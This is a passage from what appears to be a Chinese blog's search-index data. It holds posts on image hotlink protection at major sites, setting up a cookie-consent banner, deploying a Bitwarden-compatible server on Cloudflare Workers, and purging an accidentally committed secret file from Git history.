     \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://aos-cdn-image.amap.com/pp/avatar/bb8/e4/0e/277600933.webp?ver=1717735051\u0026imgoss=1\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e高德地图（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://img.meituan.net/avatar/0c3440bf16903eeba85fe9965bcdc66115409.webp%40132w_132h_1e_1l.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e美团\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://img.alicdn.com/sns_logo/TB1e4rMt8Bh1e4jSZFhXXcC9VXa-240-240.webp_320x320q95.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e淘宝\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://avatar3-3.pddpic.com/a/Q0FvYVZ2SDFGRkJQTFpTMUlTaHRIN1d4MDI3QUNhWWt3UT09djA0-1706852575?imageMogr2/thumbnail/100x\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e拼多多\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://avatars.githubusercontent.com/u/180811437?s=400\u0026u=e785f90ecf2021cc754f9e705c171389f17a204e\u0026v=4\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eGitHub（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://cdn5.telesco.pe/file/eEJesgiw8Vk2I9TP-d0xawWucIlC-204T6Ghy1LGLLmNUuajtFbh5eX1iL3fEao2jnjI92dpXAkyOSOiWIjhNbdWQ7PVKdFKCIUF-FqF8S0O27QcHFxrEMcTH-Ajpe-iX55sjjNvZC6IaHbEXjcVxBvF0fMjNb4BIYzW_KVVVsD0bG1H_rkf89rlPTePCUFySDdtFx7QYegbtoruOUcCuqt00qcozFIMynAi5NLGbtkTfRcUq3nJ2-7g9SGPpPI1U5MQPwjIR_c2p1dTiveR5q-9fx5rMk4IM_pOBRnjNAkJGm7fjNQQzanfgz5QK6kQ8VgPRHC2Ny-0gifoklRY7A.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eTelegram（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://img.qwps.cn/315260194?imageMogr2/thumbnail/180x180!\u0026k=1715912797563685102\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eWPS（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://img.alicdn.com/bao/uploaded/i1/O1CN01Y71UwZ1Xr3hlLi79V_!!4611686018427385488-0-mtopupload.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e闲鱼\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://imga.3839.com/117535?t=1765556642\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e好游快爆\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://p3.music.126.net/MT4fcDQM_7eo7NLq9-Ge2A==/109951169275563698.webp?param=30y30\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e网易云音乐（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://img.kookapp.cn/attachments/2026-01/31/vknjuH7RiN0dw0dw.webp?x-oss-process=style/icon\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eKOOK\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://img3-tc.tapimg.com/avatars/etag/FnKeVW2he8X1JwJ33XoFRG02eGVm.webp/_tap_avatar_m.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eTapTap（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://wx.qlogo.cn/mmhead/OxUBpiaYgpHgv5ETJhoPFuS7H1d2vuYxvZwb5eia5G1jMAunabN4HLjREsrDUaolsxMX77UXpBzicQ/0\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e（微信）公众号助手\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://himg.bdimg.com/sys/portrait/item/public.1.32f8f9b.Naa8uLkNmy_npPPyAuyi-A.webp?1769944805341\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e百度网盘\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://avatars.akamai.steamstatic.com/e603bd97da45790ad8bfb15648040f599c1aa52d.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eSteam（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch1 id=\"这表明了什么\"\u003e这表明了什么？\u003c/h1\u003e\n\u003cp\u003e对于图片，音乐，影片等静态资源，若直接使用 \u003ccode\u003eimg\u003c/code\u003e \u003ccode\u003eaudio\u003c/code\u003e \u003ccode\u003evideo\u003c/code\u003e 等标签，无需CORS即可将远端资源在任意网页上展示。这是W3C规范的一部分，详情请参考 \u003ca href=\"https://www.w3.org/TR/2014/REC-html5-20141028/embedded-content-0.html?utm_source=chatgpt.com\"\u003eHTML5 嵌入内容\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e当然，如果您是一个网站的维护者，您可能不想让陌生人直接将你的资源展示给别人看，或者怕被刷出账单，下面我将简单说明哪些措施是有效的，哪些是掩耳盗铃\u003c/p\u003e\n\u003cp\u003e首先我们来分辨一下您手动做服务端的防盗链和浏览器CORS的区别：\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e浏览器CORS是客户端行为，当某个行为被对端CORS策略拒绝，浏览器会阻止响应体。而服务端防盗链是在您的后端上编写一些小脚本，用以拒绝非法访问。前者会在用户浏览器弹出CORS错误，而后者会在用户浏览器显示错误状态码，如500，401，403，这取决于您的实现\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e是否可以尝试设置Referer白名单来拒绝非法访问？ \u003cstrong\u003e没用\u003c/strong\u003e 因为Referer在浏览器中是可以伪造或者不发送的。详见 \u003ca href=\"https://www.w3.org/TR/referrer-policy/all/\"\u003eHTML 5 引用来源策略\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e您应该做的事情稍微有些复杂，如将API放到Cookie（登录，非游客权限）中，并且让后端处理Cookie的发放与吊销。就像微软那样\u003c/p\u003e\n\u003cp\u003e又或者说，您只想要用户仅能通过浏览器单独查看图片，而不让 \u003cstrong\u003e任何人（包括您）\u003c/strong\u003e 引用图片到网站中，您可以使用 \u003cstrong\u003eAccept 请求头\u003c/strong\u003e 白名单，您可以尝试比较一下这两个 \u003cstrong\u003eAccept 请求头\u003c/strong\u003e ，前者是直接访问图片浏览器自动发送的，而后者是引用时发送的\u003c/p\u003e","title":"让我们来看看图片防盗链各大厂做的怎么样！"},{"content":"前言 你的网站是否有很多的跟踪器？如 Google Analytics、Google Adsense、Microsoft Clarity、百度统计 等等？\n他们有些是追踪用户体验，获取站点访问数据，有些是提供广告，为您提供收入\u0026hellip;\n但是，用户是有权限拒绝某些东西的，如拒绝将访问信息传送给Google，或让展示的广告与个性化无关等等\n那么我们要如何实现让用户控制自己的数据被传送向何方呢？\n你可能会想到，我们可以先编写一个入口脚本，管理这些JS，让用户同意某些再执行JS，又或是和Service Worker约定拦截某些请求\n这对于架构设计来说肯定是极好的，但是我们真的有必要手搓一个Cookie管理器吗，为何不去使用一个现成的解决方案呢？\nDownload Cookie Consent Banner: GDPR + ePrivacy Directive 它就是一个很好的选择，在该网站上提供你需要被管理的JS脚本片段，然后将该网站返回的JS脚本插入您的站点即可！无需编写额外的JS代码，无需管理复杂的Service Worker约定！这一切也都是通过该网站的客户端JavaScript实现的！\n正式开始 首先，我们进入 Download Cookie Consent Banner: GDPR + ePrivacy Directive （搭配浏览器翻译），往下滚动，找到步骤图\n第一步，首先选择基本逻辑\n电子隐私指令：当用户未进行Cookie管理时，这往往是用户第一次进入你的网站，允许所有受管理的JavaScript脚本执行 GDPR + 电子隐私指令：字面意思，用户不允许就永远不加载 第二步，设置网站名称，布局样式以及提供您的隐私政策页面\n首先填写网站名称，这会在用户管理Cookie时显示\n接下来选择布局，你可以在网站中看到实时更改与实际交互样式，这里不再赘述\n然后，选择色彩搭配，这里是硬编码的，但是更建议后续通过JS动态更改自动适配白天/黑夜模式\n默认语言用英语即可，该管理器提供了多达 36 种 语言，但就是没有简体中文，不过在实际的管理器中有繁体中文。不过英语仍然是一个较好的选择，它易读也是使用率最高的语言，这没什么问题\n最终，对于隐私政策，这是个可选项，但是强烈建议配置。不过如果您暂时没有配置，也不用着急，先预填写一个将来的隐私政策URL（http/https开头），后续我会说明为什么这几乎是一个必填项\n第三步，导入您的JS\nOk，终于到重头戏了，接下来，我们需要将我们网站上原来安装的各种追踪器（JS片段），归类然后一个个按部就班的添加进Cookie管理器\n这里的名称仅会在最终代码中展示出来，站点访客仅能管理这四种类型是开是关（这也是为什么上文说你几乎配置一个隐私政策页面，否则用户根本不知道这四种类型分别对应着什么），其中，第一个类型是必开的，所以你可以在其中放入一些不运行这些JS网站就不正常的脚本（如评论区）\n第四步，复制网站提供的JS，将其粘贴到您网站的 \u0026lt;body\u0026gt; 后。并移除重复的JS片段\n值得注意的一点是，当用户在第一屏选择完要启用的Cookie后，日后想更改这些首选项，需要怎么做呢？\n网站在提供的代码最后添加了一个特殊标签的按钮，也就是 id=\u0026quot;open_preferences_center\u0026quot; ，你可以先将红框中的代码移除，否则可能会破坏布局，接下来找一个地方放置这个 编辑您的Cookie首选项 按钮，让用户可以轻松的更改Cookie首选项，而不是需要用户伪造一个按钮来手动触发这个id\n最终效果 当用户第一次访问时，会弹出是否允许Cookie的弹窗。用户可以选择全部允许（I agree），全部拒绝（I decline）或高级配置（Change my preferences）\n当用户选择高级配置（Change my preferences），会弹出一个窗口，用户首先可以看到一段文本，该文本告知了用户Cookie是什么，为什么需要，以及Cookie如何改善访问体验\n接下来，用户可以单独对这四个区块设置是否允许，每一个区块也会直接但笼统的告诉用户这部分区块的Cookie能做什么。如前文所述，第一个区块是始终开启的\n最终的更多信息（More Information）区块放置了我们最开始填写的隐私政策链接，用户可以方便的跳转到隐私政策页面（前提是你写了），来直观了解您的网站的隐私政策\n","permalink":"https://blog.2x.nz/posts/cookie-consent/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e你的网站是否有很多的跟踪器？如 \u003cstrong\u003eGoogle Analytics、Google Adsense、Microsoft Clarity、百度统计\u003c/strong\u003e 等等？\u003c/p\u003e\n\u003cp\u003e他们有些是追踪用户体验，获取站点访问数据，有些是提供广告，为您提供收入\u0026hellip;\u003c/p\u003e\n\u003cp\u003e但是，用户是有权限拒绝某些东西的，如拒绝将访问信息传送给Google，或让展示的广告与个性化无关等等\u003c/p\u003e\n\u003cp\u003e那么我们要如何实现让用户控制自己的数据被传送向何方呢？\u003c/p\u003e\n\u003cp\u003e你可能会想到，我们可以先编写一个入口脚本，管理这些JS，让用户同意某些再执行JS，又或是和Service Worker约定拦截某些请求\u003c/p\u003e\n\u003cp\u003e这对于架构设计来说肯定是极好的，但是我们真的有必要手搓一个Cookie管理器吗，为何不去使用一个现成的解决方案呢？\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.cookieconsent.com/\"\u003eDownload Cookie Consent Banner: GDPR + ePrivacy Directive\u003c/a\u003e 它就是一个很好的选择，在该网站上提供你需要被管理的JS脚本片段，然后将该网站返回的JS脚本插入您的站点即可！无需编写额外的JS代码，无需管理复杂的Service Worker约定！这一切也都是通过该网站的客户端JavaScript实现的！\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先，我们进入 \u003ca href=\"https://www.cookieconsent.com/\"\u003eDownload Cookie Consent Banner: GDPR + ePrivacy Directive\u003c/a\u003e （搭配浏览器翻译），往下滚动，找到步骤图\u003c/p\u003e\n\u003cp\u003e第一步，首先选择基本逻辑\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e电子隐私指令：当用户未进行Cookie管理时，这往往是用户第一次进入你的网站，允许所有受管理的JavaScript脚本执行\u003c/li\u003e\n\u003cli\u003eGDPR + 电子隐私指令：字面意思，用户不允许就永远不加载\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cookie-consent/img/cookie-consent-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第二步，设置网站名称，布局样式以及提供您的隐私政策页面\u003c/p\u003e\n\u003cp\u003e首先填写网站名称，这会在用户管理Cookie时显示\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cookie-consent/img/cookie-consent-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来选择布局，你可以在网站中看到实时更改与实际交互样式，这里不再赘述\u003c/p\u003e\n\u003cp\u003e然后，选择色彩搭配，这里是硬编码的，但是更建议后续通过JS动态更改自动适配白天/黑夜模式\u003c/p\u003e\n\u003cp\u003e默认语言用英语即可，该管理器提供了多达 \u003cstrong\u003e36 种\u003c/strong\u003e 语言，但就是没有简体中文，不过在实际的管理器中有繁体中文。不过英语仍然是一个较好的选择，它易读也是使用率最高的语言，这没什么问题\u003c/p\u003e\n\u003cp\u003e最终，对于隐私政策，这是个可选项，但是强烈建议配置。不过如果您暂时没有配置，也不用着急，先预填写一个将来的隐私政策URL（http/https开头），后续我会说明为什么这几乎是一个必填项\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cookie-consent/img/cookie-consent-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第三步，导入您的JS\u003c/p\u003e\n\u003cp\u003eOk，终于到重头戏了，接下来，我们需要将我们网站上原来安装的各种追踪器（JS片段），归类然后一个个按部就班的添加进Cookie管理器\u003c/p\u003e\n\u003cp\u003e这里的名称仅会在最终代码中展示出来，站点访客仅能管理这四种类型是开是关（这也是为什么上文说你几乎配置一个隐私政策页面，否则用户根本不知道这四种类型分别对应着什么），其中，第一个类型是必开的，所以你可以在其中放入一些不运行这些JS网站就不正常的脚本（如评论区）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cookie-consent/img/cookie-consent-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第四步，复制网站提供的JS，将其粘贴到您网站的 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 后。并移除重复的JS片段\u003c/p\u003e\n\u003cp\u003e值得注意的一点是，当用户在第一屏选择完要启用的Cookie后，日后想更改这些首选项，需要怎么做呢？\u003c/p\u003e\n\u003cp\u003e网站在提供的代码最后添加了一个特殊标签的按钮，也就是 \u003ccode\u003eid=\u0026quot;open_preferences_center\u0026quot;\u003c/code\u003e ，你可以先将红框中的代码移除，否则可能会破坏布局，接下来找一个地方放置这个 \u003cstrong\u003e编辑您的Cookie首选项\u003c/strong\u003e 按钮，让用户可以轻松的更改Cookie首选项，而不是需要用户伪造一个按钮来手动触发这个id\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cookie-consent/img/cookie-consent-5.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"最终效果\"\u003e最终效果\u003c/h1\u003e\n\u003cp\u003e当用户第一次访问时，会弹出是否允许Cookie的弹窗。用户可以选择全部允许（I agree），全部拒绝（I decline）或高级配置（Change my preferences）\u003c/p\u003e","title":"想要一个Cookie管理器？无需手搓！"},{"content":"原理 项目参考开源的 dani-garcia/vaultwarden: Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs 将Rust源码编译为WASM以支持在Cloudflare Worker上运行。其中Worker负责REST API，D1负责存储加密后的数据\n部署 首先确保你安装了Rust，若无可前往： 安装 Rust - Rust 程序设计语言\n克隆仓库： afoim/warden-worker: A Bitwarden-compatible server for Cloudflare Workers\n创建D1数据库\nwrangler d1 create warden-sql 替换 wrangler.jsonc 的数据库ID\n初始化数据库\nwrangler d1 execute warden-sql --remote --file=sql/schema_full.sql 编译Rust WASM\ncargo build --release 部署 Worker\nwrangler deploy 设置白名单邮箱\nwrangler secret put ALLOWED_EMAILS 设置JWT（脸滚键盘即可）\nwrangler secret put JWT_SECRET wrangler secret put JWT_REFRESH_SECRET 设置2FA加密密钥（32字节Base64编码文本）\nwrangler secret put TWO_FACTOR_ENC_KEY Poweshell可以这样生成\n[Convert]::ToBase64String((1..32 | ForEach-Object {Get-Random -Minimum 0 -Maximum 256})) 前往控制台绑定域名（若路由需要手动写一条解析到Cloudflare）\n使用移动端Bitwarden创建账号（使用白名单邮箱）\n接下来，前往网页端（ /demo.html 默认使用的是 Vaultwarden的前端，可能会有些Bug），启用2FA： https://cfbw.2x.nz （用另一个TOTP验证器存储）\n顺便一提，想要修改邮箱或主密码也可以在网页端进行了\n将所有已登录的设备登出后再登入则会被要求TOTP\n导入密码库 如果您有旧的密码库，请先前往 设置 - 密码库选项 - 导出 - .json\n再登录当前密码库，前往 设置 - 密码库选项 - 导入 - .json\n","permalink":"https://blog.2x.nz/posts/warden-worker/","summary":"\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e项目参考开源的 \u003ca href=\"https://github.com/dani-garcia/vaultwarden\"\u003edani-garcia/vaultwarden: Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs\u003c/a\u003e 将Rust源码编译为WASM以支持在Cloudflare Worker上运行。其中Worker负责REST API，D1负责存储加密后的数据\u003c/p\u003e\n\u003ch1 id=\"部署\"\u003e部署\u003c/h1\u003e\n\u003cp\u003e首先确保你安装了Rust，若无可前往： \u003ca href=\"https://rust-lang.org/zh-CN/tools/install/\"\u003e安装 Rust - Rust 程序设计语言\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e克隆仓库： \u003ca href=\"https://github.com/afoim/warden-worker\"\u003eafoim/warden-worker: A Bitwarden-compatible server for Cloudflare Workers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e创建D1数据库\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler d1 \u003cspan style=\"color:#66d9ef\"\u003ecreate\u003c/span\u003e warden\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003esql\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/warden-worker/img/warden-worker-25.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e替换 \u003cstrong\u003ewrangler.jsonc\u003c/strong\u003e 的数据库ID\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/warden-worker/img/warden-worker-26.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e初始化数据库\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler d1 \u003cspan style=\"color:#66d9ef\"\u003eexecute\u003c/span\u003e warden\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003esql\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e--remote --file=sql/schema_full.sql\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/warden-worker/img/warden-worker-27.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e编译Rust WASM\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecargo build --release\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e部署 Worker\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler deploy\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e设置白名单邮箱\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler secret put ALLOWED_EMAILS\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/warden-worker/img/warden-worker-29.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e设置JWT（脸滚键盘即可）\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler secret put JWT_SECRET\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrangler secret put JWT_REFRESH_SECRET\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/warden-worker/img/warden-worker-30.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e设置2FA加密密钥（32字节Base64编码文本）\u003c/p\u003e","title":"你可曾想过，直接将BitWarden部署到Cloudflare Worker？"},{"content":"引言 接简介\n这个时候我们实际上是需要将那个错误提交的文件在所有Git提交上抹掉，并且逻辑自洽\n当然，如果你不嫌麻烦或者仓库提交本来就很少，你可以一点点的手动重写Git提交历史。又或是将历史提交合并为一个提交，强制推送\n但是，这些方法要不太磨人，要不不优雅\n假设这个仓库有1000+提交又不想合并所有提交历史呢？\n正式开始 有个PIP包正好可以满足我们的需求， git-filter-repo\npip install git-filter-repo 安装后，进入你的Git仓库运行，接下来，我们只需要传一个文件路径给它即可\n\u0026ndash;path 是传入的文件路径，可以是相对路径也可以是绝对路径。但是注意，要用 / 分割路径 \u0026ndash;force 是让它忽略安全性条件（如必须是一个刚克隆的仓库） \u0026ndash;invert-paths 是反选路径，也就是 剔除 指定 \u0026ndash;path 的文件 执行后它会查找该文件所在仓库的所有提交，并仅将该文件剔除，若某一提交中仅对该文件做了更改，则一整条提交直接消失（因为提交中无文件更改）；若某一提交中除了对该文件做了更改，还有其他文件，则该条提交仍然存在，但是文件变更记录中不再有该文件\ngit-filter-repo --force --path src/secret.txt --invert-paths 比如这里我们一不小心提交了个 微信密码\n我们可以用该命令将其 剔除\ngit-filter-repo --force --path 微信密码.txt --invert-paths 可以看到，效果非常拔群， 微信密码.txt 已经不翼而飞了\n但是还有个问题，就是我们曾经的 提交文本 暴露了 我们曾经曾上传过微信密码相关的文件 ，虽然实际上文件已经被剔除了\n那有没有办法把这条提交删掉呢？有的，兄弟有的\n我们可以使用原生的 git rebase ，以该提交作为 基点 ，将后续提交接在该提交上，这样就可以 架空 该提交。宏观来看，我们就在Git仓库中从 中间 删除了一条提交\n首先，我们需要获取该提交的 哈希 ，这里假设为 4e19d1fc6af5119cb33128a92d5d4e80fc42e6ef （仅需前8位即可）\n接下来，使用变基命令\ngit rebase --onto 4e19d1fc^ 4e19d1fc 这里会报错并自动中断变基进程，Git表示该提交有些文件和当前的提交冲突，无法自动解决冲突\n由于我们要以当前提交为准，仅剔除中间的提交，所以我们使用该命令 以当前提交为基准，解决所有文件的冲突\ngit checkout --theirs . 接下来将冲突标记为 已解决\ngit add -A 继续变基进程\ngit rebase --continue 这里会弹出一个修改Git提交的vim，直接关掉即可。 ESC + :q\n如果中途又停下来重复上面几步即可。最终，检查你的本地提交，确认要删除的提交已经不再存在。并且目前工作区的文件没有任何更改，仅更改了Git历史提交记录\n最后，我们需要将本地仓库 覆写 到远程仓库，由于最开始的PIP包在命令执行完毕后会将远程仓库删除，我们此时需要重新添加回来\ngit remote add origin https://github.com/你的用户名/你的仓库名.git 建立upstream并强制推送到远端\ngit push -u origin main -f 此时，大功告成。自此时起，所有用户都已经看不到那个你不想让别人看到的文件与提交记录了，就像它从未存在过\n真的吗？\n如果说，有些人仍留存着你仓库提交的完整 commit id ，那他们可以通过该链接访问到那个你想隐藏的提交，只不过Github会弹出警告： This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.（此提交不属于此仓库的任何分支，可能属于仓库外的某个分支副本。）\nhttps://github.com/{user}/{repo}/commit/{commit id} 如果想完全从Github上删除，你需要向Github提交支持工单： GitHub 支持\n点击我的工单\n新工单\n从我拥有或控制的存储库中删除数据\n删除其他数据\n接下来填写工单，你可以参考我的主题与正文（生成与 OpenAI ChatGPT 5.2）\nTitle:Request to Remove an Orphaned Commit URL Containing Sensitive Information Hello GitHub Support Team, I am writing to request the removal of the following commit page from GitHub’s website: https://github.com/{user}/{repo}/commit/{commit id} This commit has already been removed from my local repository history and I have force-pushed the updated history to the GitHub remote repository. As a result, the commit is now orphaned and no longer reachable from any branch or tag. However, the commit page itself is still accessible via its direct URL. Unfortunately, this commit contained sensitive information, and I would like to request that GitHub remove this URL from the website to prevent further access. Please let me know if you need any additional information or verification from my side to proceed with this request. Thank you very much for your time and assistance. Best regards, {user} 最后点击 Continue ，新版工单系统会自动使用Copilot为你生成一些帮助信息，等他BB完，我们继续创建即可\n马上，你就会收到一封来自Github的邮件，表示Github已经收到您的工单。耐心等待Github的下一步回复即可\nUpdate\u0026hellip;\nGithub支持在12分钟后就删除了相关内容，这真的很高效\n","permalink":"https://blog.2x.nz/posts/del-git-commit/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e接简介\u003c/p\u003e\n\u003cp\u003e这个时候我们实际上是需要将那个错误提交的文件在所有Git提交上抹掉，并且逻辑自洽\u003c/p\u003e\n\u003cp\u003e当然，如果你不嫌麻烦或者仓库提交本来就很少，你可以一点点的手动重写Git提交历史。又或是将历史提交合并为一个提交，强制推送\u003c/p\u003e\n\u003cp\u003e但是，这些方法要不太磨人，要不不优雅\u003c/p\u003e\n\u003cp\u003e假设这个仓库有1000+提交又不想合并所有提交历史呢？\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e有个PIP包正好可以满足我们的需求， \u003cstrong\u003egit-filter-repo\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install 